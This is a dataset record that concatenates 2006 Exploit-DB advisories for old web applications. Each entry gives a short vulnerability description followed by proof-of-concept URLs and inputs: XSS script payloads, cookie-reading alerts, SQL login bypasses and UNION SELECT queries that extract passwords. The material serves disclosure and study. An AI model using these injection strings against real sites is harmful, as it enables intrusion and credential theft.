QLWD/code_shield huggingface dataset:
标题: RealestateZONE 4.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27493 CVE: 2006-1486 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17277/info

The realestateZONE script is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

/index.cfm?pg=278&redir=listings&ui=&bamin=%22%3Cscript%3Ealert('r0t')%3C/script%3E

/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=%22%3Cscript%3Ealert('r0t')%3C/script%3E

/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=0&pmin=%22%3Cscript%3Ealert('r0t')%3C/script%3E

/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=0&pmin=0&pmax=99999999&zc=&city=&state=%22%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/27493
标题: Connect Daily 3.2.8/3.2.9 - 'ViewYear.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27504 CVE: 2006-1508 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17287/info
  
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewYear.html?n=1&dropdown=1&integral=0&approved=1&show_stop=0&show_resources=0&calendar_id=[code]
http://www.example.com/ViewYear.html?n=1&dropdown=1&integral=0&approved=[code] URL: https://www.exploit-db.com/exploits/27504
标题: ActiveCampaign SupportTrio 2.50.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27492 CVE: 2006-1487 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: ActiveCampaign SupportTrio is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

ActiveCampaign SupportTrio 2.50.2 is vulnerable. Other versions may be affected as well.

http://www.example.com/supporttrio/index.php?action=kb&article=[r0t]
http://www.example.com/supporttrio/index.php?action=kb&print=[r0t]
http://www.example.com/supporttrio/modules/KB/pdf.php?category=[r0t] URL: https://www.exploit-db.com/exploits/27492
标题: Connect Daily 3.2.8/3.2.9 - 'ViewDay.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27502 CVE: 2006-1508 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17287/info

Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewDay.html?start=2453810&&integral=0&style_sheetuserStyle.css&dropdown=1&show_stop=0&show_resources0&calendar_id=[code]
http://www.example.com/ViewDay.html?start=2453810&&integral=0&style_sheet=[code]
http://www.example.com/ViewDay.html?start=[code] URL: https://www.exploit-db.com/exploits/27502
标题: ClassifiedZONE 1.2 - 'Accountlogon.cfm' Cross-Site Scripting EDB-ID: 27490 CVE: 2006-1429 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17273/info

The classifiedZONE script is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

/accountlogon.cfm?rtn=%22%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/27490
标题: Pixel Motion - '/admin/index.php' Multiple SQL Injections EDB-ID: 27483 CVE: 2006-1426 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17260/info

Pixel Motion is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof-of-concept examples are available:

pass:' or 'x'='x URL: https://www.exploit-db.com/exploits/27483
标题: Caloris Planitia Technologies School Management System 1.0 - Cross-Site Scripting EDB-ID: 27482 CVE: 2006-1418 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17257/info

Caloris Planitia Technologies School Management System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/default.asp?msg=[XSS] URL: https://www.exploit-db.com/exploits/27482
标题: Web Host Automation Ltd. Helm 3.2.10 Beta - 'default.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27487 CVE: 2006-1407 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17263/info
 
Helm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 
 
A beta version of 3.2.10 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/helmonlinehelp/default.asp?categoryID=24&UserLevel=2&SearchText=[XSS]
http://www.example.com/helmonlinehelp/default.asp?categoryID=24&UserLevel=[XSS] URL: https://www.exploit-db.com/exploits/27487
标题: DSLogin 1.0 - 'index.php' Multiple SQL Injections EDB-ID: 27485 CVE: 2006-1238 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17262/info

DSLogin is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/dslogin/index.php
Username: ' or 1/*
Password: any URL: https://www.exploit-db.com/exploits/27485
标题: FusionZONE CouponZONE 4.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27489 CVE: 2006-1431 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17272/info

The couponZONE application is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


Version 4.2 of couponZONE is reported to be vulnerable. Other versions may be affected as well.

The following examples have been provided:
http://www.example.com/local.cfm?srchfor=%3Cscript%3Ealert%28%27r0t%27%29%3
C%2Fscript%3E&cat=0&x=95&y=13&RequestTimeOut=500&redi
r=listings&srchby=fr&scat=0

http://www.example.com/local.cfm?srchfor=&cat=0&x=78&y=22&RequestTimeOut=50
0&redir=listings&srchby=%22%3Cscript%3Ealert('r0t')%3
C/script%3E URL: https://www.exploit-db.com/exploits/27489
标题: Microsoft .NET Framework SDK 1.0/1.1 - MSIL Tools Buffer Overflow EDB-ID: 27476 CVE: 2006-1510 类型: DOS 平台: WINDOWS 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17243/info

Microsoft .NET Framework SDK contains tools for assembling and disassembling MSIL files. These tools are prone to buffer-overflow vulnerabilities that attackers could exploit to cause a denial of service or potentially execute arbitrary code.

These issues were reported to affect the .NET Framework SDK version 1.1 SP1; earlier versions may also be affected. Version 2.0 may also be affected, but code execution does not seem possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27476.zip URL: https://www.exploit-db.com/exploits/27476
标题: Pixel Motion - 'index.php?date' SQL Injection EDB-ID: 27484 CVE: 2006-1426 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17260/info
 
Pixel Motion is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/?mois=&annee=&date=[sql] URL: https://www.exploit-db.com/exploits/27484
标题: Maian Weblog 2.0 - 'print.php' SQL Injection EDB-ID: 27477 CVE: 2006-1334 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17247/info

Maian Weblog is prone to multiple SQL-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in SQL queries.

This will allow an attacker to inject arbitrary SQL logic into the vulnerable parameters and scripts. As a result, the attacker may be able to access or modify sensitive information, compromise the application, or even compromise the underlying database. Other attacks are possible.

http://www.example.com/print.php?cmd=log&entry=999'% 20union%20select% 201,2,3,4,5, 6/* URL: https://www.exploit-db.com/exploits/27477
标题: Online Quiz System - 'prequiz.asp?exam' Cross-Site Scripting EDB-ID: 27480 CVE: 2006-1417 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17255/info

Online Quiz System is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/prequiz.asp?examid=1&exam=[XSS] URL: https://www.exploit-db.com/exploits/27480
标题: BlankOL 1.0 - 'Bol.cgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27488 CVE: 2006-1404 类型: WEBAPPS 平台: CGI 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17265/info

BlankOL is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bol.cgi?file=[XSS]
http://www.example.com/bol.cgi?function=[XSS] URL: https://www.exploit-db.com/exploits/27488
标题: Toast Forums 1.6 - 'Toast.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27479 CVE: 2006-1414 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17249/info

Toast Forums is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.6 and prior are vulnerable; other versions may also be affected.

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=[XSS]

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=r0t&subject=[XSS] 

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=r0t&subject=&message=[XSS]

http://www.example.com/toast.asp?action=posts&sub=search&fid=-1&author=r0t&subject=&message=&dayprune=[XSS] URL: https://www.exploit-db.com/exploits/27479
标题: Online Quiz System - 'student.asp?msg' Cross-Site Scripting EDB-ID: 27481 CVE: 2006-1417 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17255/info
 
Online Quiz System is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/student.asp?msg=[XSS] URL: https://www.exploit-db.com/exploits/27481
标题: Maian Weblog 2.0 - 'mail.php' SQL Injection EDB-ID: 27478 CVE: 2006-1334 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17247/info
 
Maian Weblog is prone to multiple SQL-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in SQL queries.
 
This will allow an attacker to inject arbitrary SQL logic into the vulnerable parameters and scripts. As a result, the attacker may be able to access or modify sensitive information, compromise the application, or even compromise the underlying database. Other attacks are possible.

http://www.example.com/mail.php? cmd=remove&email=111' or 1/* URL: https://www.exploit-db.com/exploits/27478
标题: Web Host Automation Ltd. Helm 3.2.10 Beta - 'domains.asp?txtDomainName' Cross-Site Scripting EDB-ID: 27486 CVE: 2006-1407 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17263/info

Helm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

A beta version of 3.2.10 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/interfaces/standard/domains.asp?txtDomainName=[XSS] URL: https://www.exploit-db.com/exploits/27486
标题: EZHomePagePro 1.5 - 'users_search.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27470 CVE: 2006-1413 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17236/info
 
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_search.asp?page=user&uname=r0t&usid=2&aname=&adid=&m=[XSS]

/users/users_search.asp?page=user&uname=r0t&usid=2&aname=&adid=[XSS]

/users/users_search.asp?page=user&uname=r0t&usid=2&aname=[XSS] URL: https://www.exploit-db.com/exploits/27470
标题: Nuked-klaN 1.x - 'index.php' SQL Injection EDB-ID: 27468 CVE: 2006-1419 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17233/info

Nuked-Klan is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?file=Calendar&m=[sql]&y=2006 URL: https://www.exploit-db.com/exploits/27468
标题: EZHomePagePro 1.5 - 'email.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27469 CVE: 2006-1413 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17236/info

EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/common/email.asp?page=user&m=y&select=r0t-&usid=2&uname=guest&aname=&adid=[XSS]

/common/email.asp?page=user&m=y&select=r0t-&usid=2&uname=&aname=[XSS] URL: https://www.exploit-db.com/exploits/27469
标题: EZHomePagePro 1.5 - 'users_mgallery.asp?usid' Cross-Site Scripting EDB-ID: 27473 CVE: 2006-1413 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17236/info
    
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_mgallery.asp?gn=r0t&gp=guest&fl=Favorites&usid=[XSS] URL: https://www.exploit-db.com/exploits/27473
标题: ConfTool 1.1 - 'index.php' Cross-Site Scripting EDB-ID: 27467 CVE: 2006-1482 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17231/info

ConfTool is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?page=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27467
标题: LibVC - '.VCard' 003 Processing Buffer Overflow EDB-ID: 27474 CVE: 2006-1356 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17237/info

LibVC is prone to a buffer-overflow vulnerability. This issue is due to a failure in the library to perform proper bounds checks on user-supplied data before using it in a finite-sized buffer. 

The issue occurs when the application handles excessive data supplied with a vcard file.

An attacker can exploit this issue to crash the affected library, effectively denying service. Arbitrary code execution is also possible, which may facilitate a compromise of the underlying system.

The following proof of concept is available:

[example file]
BEGIN:VCARD
VERSION:3.0
F:<bunch of a's>
N:;
END:VCARD
[/example file] URL: https://www.exploit-db.com/exploits/27474
标题: Cholod MySQL Based Message Board - 'Mb.cgi' SQL Injection EDB-ID: 27464 CVE: 2006-1395 类型: WEBAPPS 平台: CGI 发布日期: 2006-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/17224/info

MySQL Based Message Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/cgi-bin/mb.cgi?action=showmessage&topicnumber=1&threadnumber=7
&category=Computer&topic=Linux&username=K-sPEcial URL: https://www.exploit-db.com/exploits/27464
标题: SaPHPLesson 2.0 - 'print.php' SQL Injection EDB-ID: 27475 CVE: 2006-1420 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17239/info

SaphpLesson is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/lesson/print.php?lessid=-1%20union20select20null,null,null,ModName,null,ModPassword,null,ModPassword,null,ModPassword,null,null,null,null%20FROM%20modretor URL: https://www.exploit-db.com/exploits/27475
标题: AdMan 1.0.20051221 - 'ViewStatement.php' SQL Injection EDB-ID: 27462 CVE: 2006-1374 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/17208/info

AdMan is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

AdMan versions 1.0.20051221 and prior are vulnerable; other versions may also be affected.

http://www.example.com/adMan/advertiser/viewStatement.php?start_date_date_month=03&start_date_date_day=01&start_date_date_year=2008&start_date_time_hour=12&start_date_time_min=00&start_date_time_amPm=AM&end_date_date_month=&end_date_date_day=&end_date_date_year=&end_date_time_hour=&end_date_time_min=&end_date_time_amPm=&_submit=&transactions_offset=[SQL] URL: https://www.exploit-db.com/exploits/27462